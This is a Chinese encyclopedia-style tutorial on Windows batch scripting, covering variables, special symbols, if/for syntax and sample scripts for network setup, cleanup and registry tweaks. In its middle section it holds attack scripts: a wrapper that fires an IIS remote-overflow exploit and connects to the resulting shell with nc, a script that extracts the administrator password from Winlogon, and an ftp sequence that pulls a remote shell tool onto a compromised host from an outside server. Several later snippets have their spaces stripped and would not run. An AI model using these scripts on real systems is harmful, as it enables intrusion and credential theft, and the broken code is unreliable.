bat[網際網路巨頭]

bat[網際網路巨頭]

批處理檔案,在DOS和Windows系統中,bat檔案是執行檔,由一系列命令構成,其中可以包含對其他程式的調用。這個檔案的每一行都是一條DOS命令(大部分時候就好像在DOS提示符下執行的命令行一樣),可以使用DOS下的Edit或者Windows的記事本等任何文本檔案編輯工具創建和修改批處理檔案。

基本信息

簡單程式

批處理是基於cmd的批處理

可以通過條件語句(if)和流程控制語句(goto)來控制命令運行的流程,在批處理中也可以使用循環語句(for)來

循環執行一條命令。當然,批處理檔案的編程能力與C語言等編程語句比起來是十分有限的,也是十分不規範的。批處理的程式語句就是一條條的DOS命令(包括內部命令和外部命令),而批處理的能力主要取決於你所使用的命令。第三,每個編寫好的批處理檔案都相當於一個DOS的外部命令你可以把它所在的目錄放到你的DOS搜尋路徑變數%path%(詳見後面)中來使得它可以在任意位置運行。一個良好的習慣是在硬碟上建立一個bat或者batch目錄(例如C:\BATCH),然後將所有你編寫的批處理檔案放到該目錄中,這樣只要在path中設定上c:\batch,你就可以在任意位置運行所有你編寫的批處理程式。

作用

簡單的說,批處理的作用就是自動的連續執行多條命令。

這裡先講一個最簡單的套用:在啟動wps軟體時,每次都必須執行(>前面內容表示DOS提示符):

C:\>cd wps

C:\WPS>spdos

C:\WPS>py

C:\WPS>wbx

C:\WPS>wps

如果每次用WPS之前都這樣執行一遍,您是不是覺得很麻煩呢?

好了,用批處理,就可以實現將這些麻煩的操作簡單化,首先我們編寫一個runwps.bat批處理檔案,內容如下:

@echo off

c:

cd\wps

spdos

py

wbx

wps

cd\

以後,我們每次進入wps,只需要運行runwps這個批處理檔案即可。

變數

變數的類型

批處理中的變數基本上是萬能的,可以儲存各種各樣的數據,不過用來計算時你會發現變數類型轉為了int,所以範圍為[-2147483648,2147483647],如果不拿來計算的話,似乎數萬位也是可以的。

變數的命名

批處理的變數命名沒有什麼限制。不過建議命名還是遵守標準的命名方法,不然

@Echo Off

Set IF=Set

%IF% lF=Goto

:IF

IF %IF%==IF %lF% IF

會出現這樣的代碼

變數的擴展

擴展,你可以理解為顯示出這個的值,如果你想要使用這個變數的值一般情況下都要擴展

擴展方式:%變數%或!變數!

其中!變數!是延遲擴展,需要加上SetLocal EnableDelayedExpansion語句才能夠實現,延遲擴展對於新手來說是一個很難理解的東西,就這么說吧,當你的變數在一個語句的內部受到了改變,而在這個改變之後又要輸出,那么你必須要延遲擴展,這個牽扯到了奇奇怪怪的預處理機制,不詳解了.用連線符號連起來的語句,if,for和它們後面括弧內的內容都是屬於一個語句

例:

@echo off

set num=10

set num=100&echo %num%

echo %num%

echo 雖然已經將num的值更改為100,但由於沒有延遲擴展,所以值仍為10,不過在下一個語句num的值就改變了

pause>nul

例:

@echo off

SetLocal EnableDelayedExpansion

set num=10

set num=100&echo !num!

echo 現在兩個num的值一樣了

echo %num%

pause>nul

變數在擴展過程中還可以做一點手腳

例:

set str=1234567890

echo %str:~0,5%

echo %str:~1,5%

echo %str:~-5%

echo %str:~5,-2%

echo %str:7890=54321%

pause>nul

很神奇吧?這就是對字元串的處理,具體的用法在這裡不詳解了

關於參數

參數在批處理的表達是%0,%1,%2....%9 ,以及全部參數%*(不包括%0)

%0的初始量是批處理本身路徑,類似%~f0

一般你只能取前九個參數,除非你使用%*

shift命令允許你獲取後面的參數

格式:shift [/n]

n為1~8的數

shift 會使%0變成%1,%1變成%2……%9變成原來的第10個參數(不推薦)

一般使用shift /1,將會從%1開始替換,保留原%0

注意:call標籤時參數也是可用的,而且當返回時參數將變回原來的

例子:

@echo off

call :標籤 arg1 arg2

echo %1

::會顯示回顯已打開

echo %2

exit

:標籤

echo %1

::這時會顯示arg1

echo %2

::這時會顯示arg2

exit /b

特殊符號

@-隱藏命令

開啟了echo off能夠起到隱藏命令的效果,而@同樣能起到這個效果,只不過需要在每條命令前面都加一個...

&&,||-判斷

還記得用if errorlevel來判斷命令成功與否嗎?&&和||同樣能起到這個效果,&&表示前面的命令成功以後執行後面的命令,||反之

例:

@echo;>>%SystemRoot%\system32\test.txt&&echo 成功!||echo 失敗

@pause>nul

|-管道

將前一個命令執行的結果傳送給後一個命令

例:

@echo 你好|find "你"

@tasklist|find "exe"

&-分行符

可以把幾個命令寫在同一行

例:

@echo 123&@echo 456

pause>nul

^-分行與轉義符

1.分行

可以把一個命令寫成多行喔

例:

@echo 1^

2^

3^

4

@pause>nul

複製上面的命令,執行結果是什麼?這就是分行符的作用

2.轉義

當我們試圖輸出一個&的時候,我們會發現輸出不了...因為它被當成分行符處理了

這時就要請出轉義符^了,它可以剝奪後面第一個符號的特殊地位,變為普通符號(這其實是一個很神奇的功能,之所以神奇...贅不詳述)

例:

@echo ^&

@pause>nul

這樣就輸出了&

另外,當存在a變數(前面set /p a=或set a=給a賦值了)想要輸出%a%,一是可以用轉義符^,還可以:

echo %%a%%

這樣既可將兩個百分號識別為一個,起到了轉義的作用

還有些特殊情況不需要轉義:

echo "0000|000"

用引號括起來可以起到一定的轉義的作用,包括set "a=a的值"等

但特別特殊的情況比如獲取%1時存在轉義符很難處理,沒辦法正常引用

*,?-通配符

啥叫通配符?舉個例子吧,*.jpg表示所有的jpg,*表示所有檔案.現在你明白了嗎? 那"?"有什麼用,*可以為任意字元,但?只表示一個字元,比如?.jpg只表示檔案名稱只有一個的jpg檔案,比如1.jpg,比.jpg什麼

()-括起來

括起來的語句是一個整體

>,>>,<-重定向

echo 123>>one.txt

可以輸出123追加到one.txt中

echo 123>one.txt

可以輸出123復蓋one.txt中原先的內容

nul是一個系統保留字,所以>nul不會輸出到任何檔案,可以起到隱藏命令執行結果的效果

2 >nul可以起到隱藏命令失敗執行結果的效果

<可以從檔案中讀取數據到某個命令中,不過這個命令得等待用戶輸入>

例:

@echo off

echo 123>>00.txt

set /p num=<00.txt

echo 數字是%num%

pause>nul

有些命令不止需要一個>nul,如要連線,需要:>nul 2>nul以此類推

如果前面有數字,需要添加空格

ping >nul 2>nul

=1>nul 2>nul ping

=ping >nul 2>&1.... X>&2 X>&2 X>&3等

nul指空設備,簡單來說就是隱藏輸出。

2>&1 3>&2 可以一直接下去,&1 &2就是引用第一個、第二個等

例子

下面是一個運行於Windows 98(2000,XP)下的autoexec.bat的示例:

@ECHO OFF

PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH

LH SMARTDRV.EXE /X

LH DOSKEY點COM /INSERT

LH CTMOUSE.EXE

SET TEMP=D: \TEMP

SET TMP=D:\TEMP

常用命令返回值

backup

備份成功

未找到備份檔案

檔案共享衝突阻止備份完成

用戶用ctrl-c中止備份

由於致命的錯誤使備份操作中止

diskcomp

盤比較相同

盤比較不同

用戶通過ctrl-c中止比較操作

由於致命的錯誤使比較操作中止

預置錯誤中止比較

diskcopy

盤拷貝操作成功

非致命盤讀/寫錯

用戶通過ctrl-c結束拷貝操作

因致命的處理錯誤使盤拷貝中止

預置錯誤阻止拷貝操作

format

格式化成功

用戶通過ctrl-c中止格式化處理

因致命的處理錯誤使格式化中止

在提示“proceed with format(y/n)?”下用戶鍵入n結束

xcopy

成功拷貝檔案

未找到拷貝檔案

用戶通過ctrl-c中止拷貝操作

預置錯誤阻止檔案拷貝操作

拷貝過程中寫盤錯誤

批處理技巧

文章結構

1. 所有內置命令的幫助信息

2. 環境變數的概念

3. 內置的特殊符號(實際使用中間注意避開)

4. 簡單批處理檔案概念

5. 附屬檔案1 tmp.txt

6. 附屬檔案2 sample.bat

命令幫助

ver

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

其他需要的常用命令

type /?

find /?

findstr /?

copy /?

下面將所有上面的幫助輸出到一個檔案

echo ver >tmp.txt

ver >>tmp.txt

echo cmd /? >>tmp.txt

cmd /? >>tmp.txt

echo rem /? >>tmp.txt

rem /? >>tmp.txt

echo if /? >>tmp.txt

if /? >>tmp.txt

echo goto /? >>tmp.txt

goto /? >>tmp.txt

echo for /? >>tmp.txt

for /? >>tmp.txt

echo shift /? >>tmp.txt

shift /? >>tmp.txt

echo call /? >>tmp.txt

call /? >>tmp.txt

echo type /? >>tmp.txt

type /? >>tmp.txt

echo find /? >>tmp.txt

find /? >>tmp.txt

echo findstr /? >>tmp.txt

findstr /? >>tmp.txt

echo copy /? >>tmp.txt

copy /? >>tmp.txt

type tmp.txt

#############################

環境變數的概念

#############################

C:\Program Files>set

ALLUSERSPROFILE=C:\Documents and Settings\All Users

CommonProgramFiles=C:\Program Files\Common Files

COMPUTERNAME=FIRST

ComSpec=C:\WINNT\system32\cmd.exe

NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Os2LibPath=C:\WINNT\system32\os2\dll;

Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel

PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0605

ProgramFiles=C:\Program Files

PROMPT=$P$G

SystemDrive=C:

SystemRoot=C:\WINNT

TEMP=C:\WINNT\TEMP

TMP=C:\WINNT\TEMP

USERPROFILE=C:\Documents and Settings\Default User

windir=C:\WINNT

path: 表示可執行程式的搜尋路徑. 我的建議是你把你的程式copy 到

%windir%\system32\. 這個目錄裡面. 一般就可以自動搜尋到.

語法: copy mychenxu.exe %windir%\system32\.

使用點(.) 便於一目了然

對環境變數的引用使用(英文模式,半角)雙引號

%windir% 變數

%%windir%% 二次變數引用.

我們常用的還有

%temp% 臨時檔案目錄

%windir% 系統目錄

%errorlevel% 退出代碼

輸出檔案到臨時檔案目錄裡面.這樣便於當前目錄整潔.

對有空格的參數. 你應該學會使用雙引號("") 來表示比如對porgram file資料夾操作

C:\>dir p*

C:\ 的目錄

2000-09-02 11:47 2,164 PDOS.DEF

1999-01-03 00:47

Program Files

1 個檔案 2,164 位元組

1 個目錄 1,505,997,824 可用位元組

C:\>cd pro*

C:\Program Files>

C:\>

C:\>cd "Program Files"

C:\Program Files>

內置的特殊符號

微軟裡面內置了下列字元不能夠在創建的檔案名稱中間使用

con nul aux \ / | || && ^ >< *

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:

(大意: 要么你使用^作為前導字元表示.或者就只有使用雙引號""了)

To create the variable value new&name, type:

set varname=new^&name

To create the variable value "new&name", type:

set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt

IF EXIST filename. (del filename.) ELSE echo filename. missing

> 創建一個檔案

>> 追加到一個檔案後面

@ 前綴字元.表示執行時本行在cmd裡面不顯示, 可以使用 echo off關閉顯示

^ 對特殊符號( >< &)的前導字元. 第一個只是顯示aaa 第二個輸出檔案bbb

echo 123456 ^> aaa

echo 1231231 > bbb

() 包含命令

(echo aa & echo bb)

, 和空格一樣的預設分隔設定號.

; 注釋,表示後面為注釋

: 標號作用

| 管道操作

& Usage:第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時執行多條命令,而不管命令是否執行成功

dir c:\*.exe & dir d:\*.exe & dir e:\*.exe

&& Usage:第一條命令 && 第二條命令 [&& 第三條命令...]

當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;

|| Usage:第一條命令 || 第二條命令 [|| 第三條命令...]

當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;

常用語法格式

IF [NOT] ERRORLEVEL number command para1 para2

IF [NOT] string1==string2 command para1 para2

IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2

IF NOT EXIST filename command para1 para2

IF "%1"=="" goto END

IF "%1"=="net" goto NET

IF NOT "%2"=="net" goto OTHER

IF ERRORLEVEL 1 command para1 para2

IF NOT ERRORLEVEL 1 command para1 para2

FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i

FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k

按照字母順序 ijklmnopq依次取參數.

eol=c - 指一個行注釋字元的結尾(就一個)

skip=n - 指在檔案開始時忽略的行數。

delims=xxx - 指分隔設定集。這個替換了空格和跳格鍵的默認分隔設定集。

批處理檔案概念

echo This is test > a.txt

type a.txt

echo This is test 11111 >> a.txt

type a.txt

echo This is test 22222 > a.txt

type a.txt

第二個echo是追加

第三個echo將清空a.txt 重新創建 a.txt

netstat -n | find "3389"

這個將要列出所有連線3389的用戶的ip.

________________test.bat______

@echo please care

echo plese care 1111

echo plese care 2222

echo plese care 3333

@echo please care

@echo plese care 1111

@echo plese care 2222

@echo plese care 3333

rem 不顯示注釋語句,本行顯示

@rem 不顯示注釋語句,本行不顯示

@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)

@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

_____________________________

下面我們以具體的一個idahack程式就是ida遠程溢出為例子.應該是很簡單的.

___________________ida.bat_____

@rem ver 1.0

@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"

@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE

@if NOT "%2" =="" goto SP2

:start

@echo Now start ...

@ping %1

@echo chinese win2k:1 sp1:2 sp2:3

idahack.exe %1 80 1 99 >%temp%\_tmp

@echo "prog exit code [%errorlevel%] idahack.exe"

@type %temp%\_tmp

@find "good luck :)" %temp%\_tmp

@echo "prog exit code [%errorlevel%] find [goog luck]"

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:SP2

@idahack.exe %1 80 %2 99 %temp%\_tmp

@type %temp%\_tmp

@find "good luck :)" %temp%\_tmp

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:USAGE

@echo Example: ida.bat IP

@echo Example: ida.bat IP (2,3)

:END

_____________________ida.bat__END_______

下面我們再來第二個檔案.就是得到administrator的口令.

大多數人說得不到.其實是自己的沒有輸入正確的信息.

___________________________fpass.bat____________________________________________

@rem ver 1.0

@if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"

@if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....

@echo ____________________________________

@if "%1"=="" goto USAGE

@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt

@echo "prog exit code [%errorlevel%] findpass.exe"

@type %temp%\_findpass.txt

@echo ________________________________Here__pass★★★★★★★★

@ipconfig /all >>%temp%\_findpass.txt

@goto END

:USAGE

@pulist.exe >%temp%\_pass.txt

@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt

@echo "Example: fpass.bat %1 %2 %3 %4 !!!"

@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END

@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "

@echo " fpass.bat end [%errorlevel%] !"

_________________fpass.bat___END___________________________________________________________

還有一個就是已經通過telnet登入了一個遠程主機.怎樣上傳檔案(win)

依次在視窗輸入下面的東西. 當然了也可以全部拷貝.Ctrl+V過去. 然後就等待吧!!

echo open 210.64.x.4 3396>w

echo read>>w

echo read>>w

echo cd winnt>>w

echo binary>>w

echo pwd >>w

echo get wget.exe >>w

echo get winshell.exe >>w

echo get any.exe >>w

echo quit >>w

ftp -s:w

___________________________________________________________

語句結構

類似於C語言,批處理也有它的語句結構。批處理的語句結構主要有選擇結構(if語句)、循環結構(for語句)等。

if語句

if語句實現條件判斷,包括字元串比較、存在判斷、定義判斷等。通過條件判斷,if語句即可以實現選擇功能。

1、字元串比較

if語句僅能夠對兩個字元(串)是否相同、先後順序進行判斷等。其命令格式為:

IF [not] string1 compare-op string2 command1 [else command2]

其中,比較操作符compare-op有以下幾類:

== - 等於

EQU - 等於

NEQ - 不等於

LSS - 小於

LEQ - 小於或等於

GTR - 大於

GEQ - 大於或等於

選擇開關/i則不區分字元串大小寫;選擇not項,則對判斷結果進行邏輯非。

字元串比較示例:

===============================================

@echo off

set str1=abcd1233

set str2=ABCD1234

if %str1%==%str2% (echo 字元串相同!) else (echo 字元串不相同!)

if /i %str1% LSS %str2% (echo str1^=str2)

echo.

set /p choice=是否顯示當前時間?(y/n)

if /i not %choice% EQU n echo 當前時間是:%date% %time%

pause>nul

===============================================

對於最後一個if判斷,當我們輸入n或N時的效果是一樣的,都不會顯示時間。如果我們取消開關/i,則輸入N時,依舊會顯示時間。

另外請注意一下幾個細節:1-echo str1^=str2;2-echo.。

2、存在判斷

存在判斷的功能是判斷檔案或資料夾是否存在。其命令格式為:

IF [NOT] EXIST filename command1 [else command2]

===============================================

@echo off

if exist %0 echo 檔案%0是存在的!

if not exist %~df0 (

echo 資料夾%~df0不存在!

) else echo 資料夾%~df0存在!

pause>nul

===============================================

這裡注意幾個地方:

1-存在判斷既可以判斷檔案也可以判斷資料夾;

2-%0即代表該批處理的全稱(包括驅動器盤符、路徑、檔案名稱和擴展類型);

3-%~df0是對%0的修正,只保留了其驅動器盤符和路徑,詳情請參考for /?,屬高級批處理範疇;

4-注意if語句的多行書寫,多行書寫要求command1的左括弧必須和if在同一行、else必須和command1的右括弧同行、command2的左括弧必須與else同行、command1和command2都可以有任意多行,即command可以是命令集。

3、定義判斷

定義判斷的功能是判斷變數是否存在,即是否已被定義。其命令格式為:

IF [not] DEFINED variable command1 [else command2]

存在判斷舉例:

===============================================

@echo off

set var=111

if defined var (echo var=%var%) else echo var尚未定義!

set var=

if defined var (echo var=%var%) else echo var尚未定義!

pause>nul

===============================================

對比可知,"set var="可以取消變數,收回變數所占據的記憶體空間。

for語句

for語句可以實現類似於C語言裡面的循環結構,當然for語句的功能要更強大一點,通過不同的開關可以實現更多的功能。for語句有多個開關,不同開關將會實現不同的功能。

1、無開關

無開關的for語句能夠對設定的範圍內進行循環,是最基本的for循環語句。其命令格式為:

FOR %%variable IN (set) DO command

其中,%%variable是批處理程式裡面的書寫格式,在DOS中書寫為%variable,即只有一個百分號(%);set就是需要我們設定的循環範圍,類似於C語言裡面的循環變數;do後面的command就是循環所執行的命令,即循環體。

無開關for語句舉例:

===============================================

@echo off

for %%i in (a,"b c",d) do echo %%i

pause>nul

===============================================

2、開關/L

含開關/L的for語句,可以根據set裡面的設定進行循環,從而實現對循環次數的直接控制。其命令格式為:

FOR /L %%variable IN (start,step,end) DO command

其中,start為開始計數的初始值,step為每次遞增的值,end為結束值。當end小於start時,step需要設定為負數。

含開關/L的for語句舉例(創建5個資料夾):

===============================================

@echo off

for /l %%i in (1,2,10) do md %%i

pause

===============================================

上例將新建5個資料夾,資料夾名稱依次為1、3、5、7、9。可以發現,%%i的結束值並非end的值10,而是不大於end的一個數。

3、開關/F

含開關/F的for語句具有最強大的功能,它能夠對字元串進行操作,也能夠對命令的返回值進行操作,還可以訪問硬碟上的ASCII碼檔案,比如txt文檔等。其命令格式為:

FOR /F ["options"] %%variable IN (set) DO command

其中,set為("string"、'command'、file-set)中的一個;options是(eol=c、skip=n、delims=xxx、tokens=x,y,m-n、usebackq)中的一個或多個的組合。各選項的意義參見for /f。一般情況下,使用較多的是skip、tokens、delims三個選項。

含開關/F的for語句舉例:

===============================================

@echo off

echo **No Options:

for /f %%a in ("1,2,10") do echo a=%%a

echo **Options tokens ^& delims:

for /f "tokens=1-3 delims=," %%a in ("1,2,10") do echo a=%%a b=%%b c=%%c

pause

===============================================

@echo off

echo 本資料夾裡面的檔案有:

for /f "skip=5 tokens=3* delims= " %%a in ('dir') do (

if not "%%a"=="

" if not "%%b"=="位元組" if not "%%b"=="可用位元組" echo %%b

)

pause

===============================================

@echo off

echo 本資料夾裡面的檔案有:

dir>c:\file.txt

for /f "skip=5 tokens=3* delims= " %%a in (c:\file.txt) do (

if not "%%a"=="

" if not "%%b"=="位元組" if not "%%b"=="可用位元組" echo %%b

)

del c:\file.txt

pause

===============================================

對於後面的兩個例子,其中options裡面的delims= 是可以刪除的,因為只要添加了/F開關係統就將delims的值默認為空格。

符號字元串中的最後一個字元星號,

那么額外的變數將在最後一個符號解析之後

分配並接受行的保留文本。本例中也可以改為4,不過檔案名稱中有空格的檔案,只能顯示空格以前部分

同時我們也看到了,for語句的do後面的command也是可以分行的,只需要保證command的左括弧和do在同一行就可以了。

4、開關/D或/R

含開關/D或/R的for語句是與目錄或檔案有關的命令,一般情況下很少使用。含開關/R的命令有時候被用於通過遍歷資料夾來查找某一個檔案或資料夾,故而列舉此例。

含開關/R的for語句舉例(資料夾遍歷):

===============================================

@echo off

setlocal enabledelayedexpansion

FOR /R d: %%i IN (.) DO (

set dd=%%i

set "dd=!dd:~0,-1!"

echo !dd!

)

pause

exit

===============================================

上例即可以羅列出D糟下的所有資料夾,其速度要比命令"tree d:"慢多了,不過其返回結果的實用性則遠遠超過了tree命令。

一般情況下我們不推薦通過遍歷資料夾來查找檔案,特別是在查找某些程式(比如QQ.exe)的位置時。推薦通過reg命令查找註冊表來查找QQ的路徑,以保證查找效率。

上例中也出現了幾個新面孔,如setlocal、感嘆號等。其中,感嘆號其實就是變數百分號(%)的強化版。之所以要用!而不用%,是因為在for循環中,當一個變數被多次賦值時,%dd%所獲取的僅僅是dd第一次被賦予的值;要想刷新dd的值,就必須首先通過命令"setlocal enabledelayedexpansion"來開啟延遲變數開關,然後用!dd!來獲取dd的值。

for語句是批處理裡面功能最強大、使用最普遍卻又最難掌握的一套命令,這也是批處理菜鳥和批處理高手最明顯的一個分水嶺,一旦掌握了這套命令,那么你就離批處理達人不遠了!

代碼示例

修改網路設定

@echo off

::判斷本地連線 賦值a

for /f "tokens=3,4 delims== " %%i in ('ipconfig ^|findstr /r "本"') do echo %%i %%j >DNS.txt

for /f "tokens=1 delims==:" %%d in (DNS.txt) do set a=%%d

echo 請根據實際情況更改下面三行

set slection1=

set/p slection1=請輸入IP位址:

netsh interface ip set address name="%a%" source=static addr=%slection1% mask=255.255.255.0

set slection2=

set/p slection2=請輸入網關地址:

netsh interface ip set address name="%a%" gateway=%slection2% gwmetric=0

set slection3=

set/p slection3=請輸入主dns地址

netsh interface ip set dns name="%a%" source=static addr=%slection3% register=PRIMARY

set slection4=

set/p slection4=請輸入備份dns地址

netsh interface ip add dns name="%a%" addr=%slection4%

netsh interface ip set wins name="%a%" source=static addr=none

del DNS.txt

exit 改完IP後可用這個完成本機ARP的綁定:

@echo off

if exist ipconfig.txt del ipconfig.txt

ipconfig /all >ipconfig.txt

if exist phyaddr.txt del phyaddr.txt

find "Physical Address" ipconfig.txt >phyaddr.txt

for /f "skip=2 tokens=12" %%M in (phyaddr.txt) do set Mac=%%M

if exist IPAddr.txt del IPaddr.txt

find "IP Address" ipconfig.txt >IPAddr.txt

for /f "skip=2 tokens=15" %%I in (IPAddr.txt) do set IP=%%I

arp -s %IP% %Mac%

del ipaddr.txt

del ipconfig.txt

del phyaddr.txt

exit

同時修改IP和MAC地址的小代碼及製作步驟,適合帶本本到處跑的

用於帶著本本到處跑又要改IP的場合!

1:生成 IP配置檔案。

修改你的IP位址配置為某一個配置,例如配置1。修改好:IP,MASK,DNS,GATE等(主要是IP相關的,不需要修改MAC地址)。

然後輸入:

netsh -c interface dump > c:\net1.txt

這裡net1.txt就是你生成的IP配置檔案了!可以改為其它的檔案名稱,比如:實驗室,寢室!

依次生成所有的網路配置的配置檔案,我假設一共生成兩個網路配置分別為net1.txt和net2.txt

2:下載軟體SMAC為修改MAC地址的小軟體僅8K,我已經上傳了。

3:在C糟根目錄下建立一個目錄,把剛才下載的smac.exe,生成的所有的網路配置檔案net1.txt,net2.txt等,等一下要建立的兩個批處理檔案(bat)也都放要放到這裡。我假設為這個目錄是:C:\cmd

4:建立一個批處理檔案,假設為:ToNet1.bat(可以使用記事本編輯,不過注意保存的時候要加上用加上引號的檔案名稱才能保存為ToNet1.bat,否則就是ToNet1.bat.txt)

輸入如下代碼:

smac -modifymac 0 0050BA44D27A

netsh -f net1.txt

net1.txt就是你要設定的某一個網路的配置,0050BA44D27A這個要替換為對應這一個網路配置的MAC地址。另外0050BA44D27A前面的0不可以省略,這個表示網卡(你不會有兩個或者多個網卡吧?如果你有,請注意自己先試一下看是哪一個網卡了:在這個smac程式的readme中有list功能,你可以判斷一下)。

同樣的方法,建立ToNet2.bat,當然修改網路配置檔案為net2.txt和mac地址的屬性了。

把這兩個bat檔案也放到c:\cmd目錄中。

5:然後你可以建立這兩個bat檔案的捷徑,雙擊一下自動更換了!

不過請注意,修改MAC地址可能需要重新啟動一下網卡比較好(禁用再啟用)

清理系統垃圾

命令代碼如下:

@echo off

echo 正在清除系統垃圾檔案,請稍等......

del/f/s/q %systemdrive%\*.tmp

del/f/s/q %systemdrive%\*._mp

del/f/s/q %systemdrive%\*.log

del/f/s/q %systemdrive%\*.gid

del/f/s/q %systemdrive%\*.chk

del/f/s/q %systemdrive%\*.old

del/f/s/q %systemdrive%\recycled\*.*

del/f/s/q %windir%\*.bak

del/f/s/q %windir%\prefetch\*.*

rd/s/q %windir%\temp & md %windir%\temp

del/f /q %userprofile%\cookies\*.*

del/f/q %userprofile%\recent\*.*

del/f/s/q "%userprofile%\Local Settings\Temporary Internet Files\*.*"

del/f/s/q "%userprofile%\Local Settings\Temp\*.*"

del/f/s/q "%userprofile%\recent\*.*"

echo 清除系統垃圾檔案完成!

pause

關機

shutdown-s-t0

運行這個後,立刻關機

想要重啟,就把-s改為-r

鎖定註冊表

regadd

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S

ystem"/vDisableRegistryTools/treg_dword/d00000001/f

解鎖註冊表

regadd

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S

ystem"/vDisableRegistryTools/treg_dword/d00000000/f

startregedit

顯示隱藏檔案

regadd

"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"/v

Hidden/treg_dword/d1/f

regadd

"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"/v

HideFileExt/treg_dword/d0/f

regadd

"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"/v

ShowSuperHidden/treg_dword/d1/f

鎖定任務管理器

REGADD

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Sy

stem/VDisableTaskMgr/tREG_DWORD/d00000001/f

解鎖任務管理器

REGADD

stem/VDisableTaskMgr/tREG_DWORD/d00000000/f

解釋:這五個都是通過改註冊表做到的。

接下來搞幾個用密碼的。

帶密碼的批處理

@echooff

modeconcols=30lines=4

setb=5

:pwd

titlePassword

set/aa=%a%+1

set/ab=%b%-1

set/ppwd=EnterPassword:

if/I"%pwd%"=="Password"gotomain

if/I"%a%"=="5"gotoerr

echoError%a%times!Youhave%b%timesleftnow.

gotopwd

:err

color40

modeconcols=30lines=2

titleError!

cls

echo.

echoError5times,itwillexit!

ping127.1-n6>nul

exit

:main

modeconcols=30lines=3

echoPasswordright!

pause

cls

gotoprogram

:program

modeconcols=64lines=16

::Yourprogramhere.::

解釋:把第九行的Password改成密碼。

其它

批處理開發工具

iBATiBAT

1.iBAT

截至到2014.8.9這個工具仍在更新中,第一印象-簡潔!

2.BatProject+DebugBatch

這其實是兩個工具,不過它們的開發者是同一個人,這兩個工具給我的第一印象-強悍!是用來調試錯誤的上上之選,不過因為它太強大了,尤其是DebugBatch採取了注入到進程當中的方法來調試,可以中途修改變數,暫停執行等,所以殺軟會報毒.

第三方

DebugBatchDebugBatch

純批處理不是萬能的,而系統內置第三方遠遠滿足不了我們的需要(如果你會debug就當我沒說吧),因此我們需要各種第三方來使我們的批處理變得更強大,在批處理之家有一個第三方收集帖,裡面收集了許多第三方,如果有朋友需要的話可以去那裡淘一淘,接下來我介紹幾個第三方

Tmos.exe-用滑鼠操作命令行

Image.exe-顯示圖片到命令行

CAPI-批處理調用系統API,強大得不能再強大了

相關詞條

相關搜尋

熱門詞條

聯絡我們